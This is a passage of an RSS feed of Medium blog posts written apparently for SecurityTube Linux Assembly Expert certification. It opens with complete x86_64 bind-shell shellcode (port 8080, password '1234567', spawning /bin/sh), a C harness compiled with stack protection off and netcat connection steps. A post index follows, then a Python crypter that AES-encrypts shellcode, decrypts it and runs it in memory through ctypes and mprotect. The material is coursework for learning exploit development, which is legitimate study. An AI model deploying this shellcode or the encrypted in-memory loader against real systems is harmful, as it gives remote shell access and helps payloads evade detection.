shellcode:</p><pre>&quot;\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x31\xd2\x0f\x05\x48\x89\xc7\x6a\x31\x58\x52\x52\x66\x68\x1f\x90\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x6a\x32\x58\x48\x31\xf6\x0f\x05\x6a\x2b\x58\x48\x89\xf2\x0f\x05\x49\x89\xc1\x48\x89\xf0\x4c\x89\xcf\x48\x83\xec\x10\x48\x89\xe6\xb2\x10\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x0a\x48\x89\xf7\x48\xaf\x75\x2c\x6a\x02\x5e\x4c\x89\xcf\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x48\x31\xd2\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05&quot;</pre><p>Place the above shellcode in a C harness like so:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;</pre><pre>unsigned char code[] = \<br>&quot;\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x31\xd2\x0f\x05\x48\x89\xc7\x6a\x31\x58\x52\x52\x66\x68\x1f\x90\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x6a\x32\x58\x48\x31\xf6\x0f\x05\x6a\x2b\x58\x48\x89\xf2\x0f\x05\x49\x89\xc1\x48\x89\xf0\x4c\x89\xcf\x48\x83\xec\x10\x48\x89\xe6\xb2\x10\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x0a\x48\x89\xf7\x48\xaf\x75\x2c\x6a\x02\x5e\x4c\x89\xcf\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x48\x31\xd2\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05&quot;;</pre><pre>int main()<br>{<br>   int (*ret)() = (int(*)()) code;<br>   ret();<br>   return 0;<br>}</pre><p>Compile it:</p><pre>gcc -fno-stack-protector -z execstack -o harness harness.c</pre><p>Execute the harness, use netcat to access it (nc 127.0.0.1 8080), and provide the password “1234567” to receive the shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*AtPaY5dztIaCZ_Z6KYaApg.png" /></figure><p><em>This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=7"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><p><em>The source code for this assignment can be found </em><a href="https://github.com/bytesoverbombs/x64-SLAE/tree/master/Assignment1-BindShell"><em>here</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b48079637789" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[x86 SLAE Examination]]></title>
            <link>https://medium.com/@bytesoverbombs/x86-slae-examination-afb467e9450d?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/afb467e9450d</guid>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[x86]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sun, 17 Nov 2019 21:29:10 GMT</pubDate>
            <atom:updated>2019-11-23T01:18:38.806Z</atom:updated>
            <content:encoded><![CDATA[<h3>x86 SLAE Examination Attempt</h3><p>This blog post summarizes the assignments created in an attempt to pass the x86 SLAE examination. Below is a list of each of the assignment created as well as a link to the source code project containing all relevant shellcode, harnesses, and compiler scripts.</p><h4>Assignments</h4><ul><li><a href="https://medium.com/@bytesoverbombs/x86-slae-assignment-1-bind-shell-dbec345401bb">Assignment 1 — Bind Shell</a></li><li><a href="https://medium.com/@bytesoverbombs/x86-slae-assignment-2-reverse-shell-d8e54cdb3108">Assignment 2 — Reverse Shell</a></li><li><a href="https://medium.com/@bytesoverbombs/x86-slae-assignment-3-egg-hunter-20595c55a979">Assignment 3 — Egg Hunter</a></li><li><a href="https://medium.com/@bytesoverbombs/x86-slae-assignment-4-custom-encoder-13c697726043">Assignment 4 — Custom Encoder</a></li><li><a href="https://medium.com/@bytesoverbombs/x86-slae-assignment-5-shellcode-analysis-3e1e90f86421">Assignment 5 — Shellcode Analysis</a></li><li><a href="https://medium.com/@bytesoverbombs/x86-slae-assignment-6-polymorphic-shellcode-31c75db4b0cd">Assignment 6 — Polymorphic Shellcode</a></li><li><a href="https://medium.com/@bytesoverbombs/x86-slae-assignment-7-crypter-573095c3da61">Assignment 7 — Crypter</a></li></ul><h4>Source code</h4><p>The source code for this assignment can be found <a href="https://github.com/bytesoverbombs/x86-SLAE">here</a>.</p><p><em>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=3"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afb467e9450d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[x86 SLAE — Assignment 7: Crypter]]></title>
            <link>https://medium.com/@bytesoverbombs/x86-slae-assignment-7-crypter-573095c3da61?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/573095c3da61</guid>
            <category><![CDATA[x86]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[shellcode]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sat, 16 Nov 2019 22:47:33 GMT</pubDate>
            <atom:updated>2019-11-16T22:47:33.052Z</atom:updated>
            <content:encoded><![CDATA[<h3>x86 SLAE — Assignment 7: Crypter</h3><p>The seventh assignment for the x86 SLAE examination is to create a crypter of any modern encryption algorithm. In this case, the AES algorithm will be used. Because it’s beyond painful doing it in C, it will be performed in Python (including the resulting shell execution). This assignment will walk through all stages of the crypter.</p><h4>Encrypting</h4><p>For starters, the shellcode needs to be encrypted. To do this the AES package from the Crypto.Cipher module needs to be imported. From there, the following method can be created, accepting a key (of 16 bytes), shellcode (with a length that is divisible by 16), and an initialization vector (IV) of 16 bytes as well.</p><pre>def encrypt(key, shellcode, IV):</pre><pre>    formatted = &quot;&quot;<br>   <br>    aes = AES.new(key, AES.MODE_CBC, IV)<br>   <br>    encrypted = aes.encrypt(shellcode)</pre><pre>    for i in encrypted:<br>        formatted += &quot;\\x&quot; + i.encode(&quot;hex&quot;)</pre><pre>    print &quot;Encrypted shellcode:\n%s\n&quot; % formatted</pre><pre>    return encrypted</pre><h4>Decrypting</h4><p>Decrypting followings the exact same process of encrypting except calling the decrypt method from the AES package. In order to successfully decrypt the shellcode, the same key and IV values must be passed to the function. An example of this method can be found below:</p><pre>def decrypt(key, shellcode, IV):</pre><pre>    formatted = &quot;&quot;</pre><pre>    obj = AES.new(key, AES.MODE_CBC, IV)<br>   <br>    decrypted = obj.decrypt(shellcode)</pre><pre>    for i in decrypted:<br>        formatted += &quot;\\x&quot; + i.encode(&quot;hex&quot;)</pre><pre>    print &quot;Decrypted shellcode:\n%s\n&quot; % formatted</pre><pre>    return decrypted</pre><h4>Executing shellcode</h4><p>Lastly, the shellcode must be ran. Luckily, Python can do this as well. However, because it’s dealing with low level memory functionality, the ctypes library must be imported and used. Once imported, the following Python code will copy the shellcode in a writable area in memory, and pass execution to it.</p><pre>def exec_shellcode(shellcode, shellcode_len):<br>    libc = ctypes.CDLL(&#39;libc.so.6&#39;)</pre><pre>    p_shellcode = ctypes.c_char_p(shellcode)</pre><pre>    p_address = ctypes.c_void_p(libc.valloc(shellcode_len))<br>   <br>    ctypes.memmove(p_address, p_shellcode, shellcode_len)<br>   <br>    libc.mprotect(p_address, shellcode_len, 0x7)<br>   <br>    run = ctypes.cast(p_address, ctypes.CFUNCTYPE(ctypes.c_void_p))</pre><pre>    print &quot;Executing shellcode:\n&quot;<br>  <br>    run()</pre><h4>Bringing it all together</h4><p>With the above functions implemented, the variables can be identified and the functions executed. To do this, shellcode needs to be added, as well as a key and IV. To assist with ensuring the shellcode matches the desired length, a padding loop will add NOP instructions until the proper length is found. Once the payload is of required length the encrypting and decrypting can occur. A basic template is as follows:</p><pre># Define shellcode<br>   shellcode = &quot;&quot;</pre><pre># Define key (ensure divisible by 16)<br>   key = &quot;&quot;</pre><pre># Define IV (ensure divisible by 16)<br>   IV = &quot;&quot;</pre><pre># Pad shellcode if necessary to ensure length is divisible by 16<br>   if (len(shellcode) % 16 != 0):<br>      shellcode += &quot;\x90&quot; * (16 - (len(shellcode) % 16))</pre><pre># Encrypt the shellcode<br>   encrypted = encrypt(key, shellcode, IV)</pre><pre># Decrypt the shellcode<br>   decrypted = decrypt(key, encrypted, IV)</pre><pre># Execute the shellcode<br>   exec_shellcode(decrypted, len(decrypted))</pre><p>With everything in place, the Python encrypter can be executed. This looks like the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*N--kn4sFk3i8bexAQ2WFLA.png" /></figure><h4>References</h4><ul><li>Encrypting/Decrypting with AES in Python — <a href="https://pycryptodome.readthedocs.io/en/latest/src/cipher/modern.html">https://pycryptodome.readthedocs.io/en/latest/src/cipher/modern.html</a></li><li>Executing shellcode in Python — <a href="https://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html">https://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html</a></li></ul><p><em>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=3"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><p><em>The source code for this assignment can be found </em><a href="https://github.com/bytesoverbombs/x86-SLAE/tree/master/Assignment7-Crypter"><em>here</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=573095c3da61" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>